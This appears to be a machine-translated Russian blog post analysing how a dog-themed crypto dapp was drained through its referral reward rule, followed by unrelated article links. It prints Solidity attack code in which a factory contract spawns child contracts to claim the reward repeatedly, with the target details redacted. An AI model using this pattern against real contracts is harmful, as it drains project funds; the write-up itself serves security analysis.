Шокирует: полный демонтаж dapp произошел через три дня после его запуска, а лазейка в правилах привела к полной потере средств.
Шокирует: полный демонтаж dapp произошел через три дня после его запуска, а лазейка в правилах привела к полной потере средств.

фон:

Сегодняшний анализ посвящен случаю, когда местный собачий проект в сети был атакован хакерами из-за лазейки в конструкции правил, что привело к полной потере средств. Этот проект также был очень популярен в кругу. Я видел его в последнее время. сегодня, поэтому я воспользовался выходными, чтобы изучить эту технологию с точки зрения анализа того, как хакеры используют контракты, развернутые в цепочке, для уничтожения стороны проекта. То, о чем я говорю сегодня, — это не техническая ошибка, а ошибка разработки правил. Говоря об этом, некоторые одноклассники, возможно, сказали, что мой контракт не является открытым исходным кодом, как он обнаружил мои лазейки и как он напал на меня, я могу сказать вам прямо здесь. Отсутствие открытого исходного кода не означает безопасность, это просто увеличивает? хакер стоит немного.

Исходный код атаки

Язык кода:javascript
копировать
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.0;
contract ChildContract {
    // Определить контракт
     address constant remoteContractAddress = 0x543a975946xxxxxxxxxxxxxxxxxxxxx;
     // Код субподряда...
    function fun(address orderAdress) public {
        // Вызов метода функции ***** удаленного контракта.
        bytes4 sig = bytes4(keccak256("*****function(address)"));
        (bool success, ) = remoteContractAddress.call{value: 0}(abi.encodeWithSelector(sig, orderAdress));
        require(success, "Remote contract call failed");
    }
}

// определение заводского контракта
contract FactoryContract {
    address[] public childrenContracts; // Массив, в котором хранятся адреса всех субподрядчиков.
    function createChild(address orderAdress) public {
        for (uint256 i = 0; i < 10; i++) {
        ChildContract child = new ChildContract(); // Создать новый экземпляр субподряда
        address childAddr = address(child); // Получить адрес субподрядчика
        childrenContracts.push(orderAdress); // Сохраните адрес субподряда в массив
        child.fun(orderAdress);
        }

    }

}

Тематическое исследование

Триггер: на стороне проекта есть активность, использующая рекомендатель для размещения заказа, чтобы порекомендовать нового пользователя в первый раз, чтобы получить фиксированное вознаграждение. Изначально все было хорошо, но здесь есть лазейка. Всем известно, что адрес кошелька используется для определения пользователей в цепочке, но контракт по сути представляет собой специальный адрес. Поэтому, когда кто-то проверяет стоимость и обнаруживает, что атакующий газ может покрыть доход от вознаграждения, он начинает использовать технические средства для этого. атака. Далее я объясню демонстрационный процесс, который я продемонстрировал.

1. Создайте фабричный контракт и каждый раз повторяйте новый ChildContract через метод fro. Каждый раз новый будет получать новый адрес контракта. 2. Исправлен вызов функции проекта через метод fun в ChildContract. 3. После того, как участник проекта получит звонок, правила проверяются, и возврат средств осуществляется на рекомендованный адрес orderAdress. 4. Если FactoryContract .createChild вызывается повторно, участник проекта скоро обанкротится... 5. Ниже приведена простая запись вызова демо-версии, написанная мной.

На код не нужно обращать внимание. Главное вам сказать, что это осуществимо. . .

boy illustration
Учебное пособие по Jetpack Compose для начинающих, базовые элементы управления и макет
boy illustration
Код js веб-страницы, фон частицы, код спецэффектов
boy illustration
【новый! Суперподробное】Полное руководство по свойствам компонентов Figma.
boy illustration
🎉Обязательно к прочтению новичкам: полное руководство по написанию мини-программ WeChat с использованием программного обеспечения Cursor.
boy illustration
[Забавный проект Docker] VoceChat — еще одно приложение для мгновенного чата (IM)! Может быть встроен в любую веб-страницу!
boy illustration
Как реализовать переход по странице в HTML (html переходит на указанную страницу)
boy illustration
Как решить проблему зависания и низкой скорости при установке зависимостей с помощью npm. Существуют ли доступные источники npm, которые могут решить эту проблему?
boy illustration
Серия From Zero to Fun: Uni-App WeChat Payment Practice WeChat авторизует вход в систему и украшает страницу заказа, создает интерфейс заказа и инициирует запрос заказа
boy illustration
Серия uni-app: uni.navigateЧтобы передать скачок значения
boy illustration
Апплет WeChat настраивает верхнюю панель навигации и адаптируется к различным моделям.
boy illustration
JS-время конвертации
boy illustration
Обеспечьте бесперебойную работу ChromeDriver 125: советы по решению проблемы chromedriver.exe не найдены
boy illustration
Поле комментария, щелчок мышью, специальные эффекты, js-код
boy illustration
Объект массива перемещения объекта JS
boy illustration
Как открыть разрешение на позиционирование апплета WeChat_Как использовать WeChat для определения местонахождения друзей
boy illustration
Я даю вам два набора из 18 простых в использовании фонов холста Power BI, так что вам больше не придется возиться с цветами!
boy illustration
Получить текущее время в js_Как динамически отображать дату и время в js
boy illustration
Вам необходимо изучить сочетания клавиш vsCode для форматирования и организации кода, чтобы вам больше не приходилось настраивать формат вручную.
boy illustration
У ChatGPT большое обновление. Всего за 45 минут пресс-конференция показывает, что OpenAI сделал еще один шаг вперед.
boy illustration
Copilot облачной разработки — упрощение разработки
boy illustration
Микросборка xChatGPT с низким кодом, создание апплета чат-бота с искусственным интеллектом за пять шагов
boy illustration
CUDA Out of Memory: идеальное решение проблемы нехватки памяти CUDA
boy illustration
Анализ кластеризации отдельных ячеек, который должен освоить каждый&MarkerгенетическийВизуализация
boy illustration
vLLM: мощный инструмент для ускорения вывода ИИ
boy illustration
CodeGeeX: мощный инструмент генерации кода искусственного интеллекта, который можно использовать бесплатно в дополнение к второму пилоту.
boy illustration
Машинное обучение Реальный бой LightGBM + настройка параметров случайного поиска: точность 96,67%
boy illustration
Бесшовная интеграция, мгновенный интеллект [1]: платформа больших моделей Dify-LLM, интеграция без кодирования и встраивание в сторонние системы, более 42 тысяч звезд, чтобы стать свидетелями эксклюзивных интеллектуальных решений.
boy illustration
LM Studio для создания локальных больших моделей
boy illustration
Как определить количество слоев и нейронов скрытых слоев нейронной сети?
boy illustration
[Отслеживание целей] Подробное объяснение ByteTrack и детали кода